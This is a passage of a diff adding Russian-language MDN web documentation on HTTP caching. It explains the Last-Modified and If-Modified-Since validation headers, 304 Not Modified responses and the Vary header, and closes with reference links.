+<p>Заголовок ответа {{HTTPHeader("Last-Modified")}} можно использовать в качестве слабого валидатора. Слабым он считается из-за того, что имеет 1-секундное разрешение. Если в ответе присутствует заголовок <code>Last-Modified</code>, то для валидации кешированного документа клиент может выводить в запросах заголовок  {{HTTPHeader("If-Modified-Since")}}.</p>
+
+<p>При запросе на валидацию сервер может либо проигнорировать валидацию и послать стандартный ответ {{HTTPStatus(200)}} <code>OK</code>, либо вернуть ответ {{HTTPStatus(304)}} <code>Not Modified</code> (с пустым телом), тем самым указывая браузеру взять копию из кеша. В последнем случае в ответ могут входить также заголовки для обновления срока действия кешированного ресурса.</p>
+
+<h2 id="Изменяющиеся_ответы"><a id="Varying_responses" name="Varying_responses">Изменяющиеся ответы</a></h2>
+
+<p>Заголовок HTTP-ответа {{HTTPHeader("Vary")}} определяет, как по заголовкам будущих запросов понять, может ли быть использована копия из кеша, или нужно запросить новые данные у сервера.</p>
+
+<p>Если кеш получает запрос, который можно удовлетворить сохраненным в кеше ответом с заголовком <code>Vary</code>, то использовать этот ответ можно только при совпадении всех указанных в <code>Vary</code> полей заголовка исходного (сохраненного в кеше) запроса и нового запроса.</p>
+
+<p><img alt="The Vary header leads cache to use more HTTP headers as key for the cache." src="https://mdn.mozillademos.org/files/13769/HTTPVary.png" style="height: 817px; width: 752px;"></p>
+
+<p>Это может быть полезно, например, при динамическом предоставлении контента. При использовании заголовка <code>Vary: User-Agent</code> кеширующие сервера, принимая решение об использовании страницы из кеша, должны учитывать агент пользователя. Так можно избежать ситуации, когда пользователи мобильных устройств по ошибке получат десктопную версию вашего сайта. Вдобавок, это может помочь Google и другим поисковым системам обнаружить мобильную версию страницы, и может также указать им на то, что здесь нет никакой подмены контента с целью поисковой оптимизации (<a href="https://en.wikipedia.org/wiki/Cloaking">Cloaking</a>).</p>
+
+<pre class="notranslate">Vary: User-Agent</pre>
+
+<p>Поскольку значение заголовка {{HTTPHeader("User-Agent")}} различается ("varies") у мобильных и десктопных клиентов, закешированный мобильный контент не будет по ошибке отсылаться пользователям десктопов и наоборот.</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://tools.ietf.org/html/rfc7234">RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): Caching</a></li>
+ <li><a href="https://www.mnot.net/cache_docs">Caching Tutorial – Mark Nottingham</a></li>
+ <li><a href="https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching">HTTP caching – Ilya Grigorik</a></li>
+ <li><a href="https://redbot.org/">RedBot</a>, инструмент для проверки относящихся к кешу заголовков HTTP .</li>
+</ul>
+
+<p><br>
+  </p>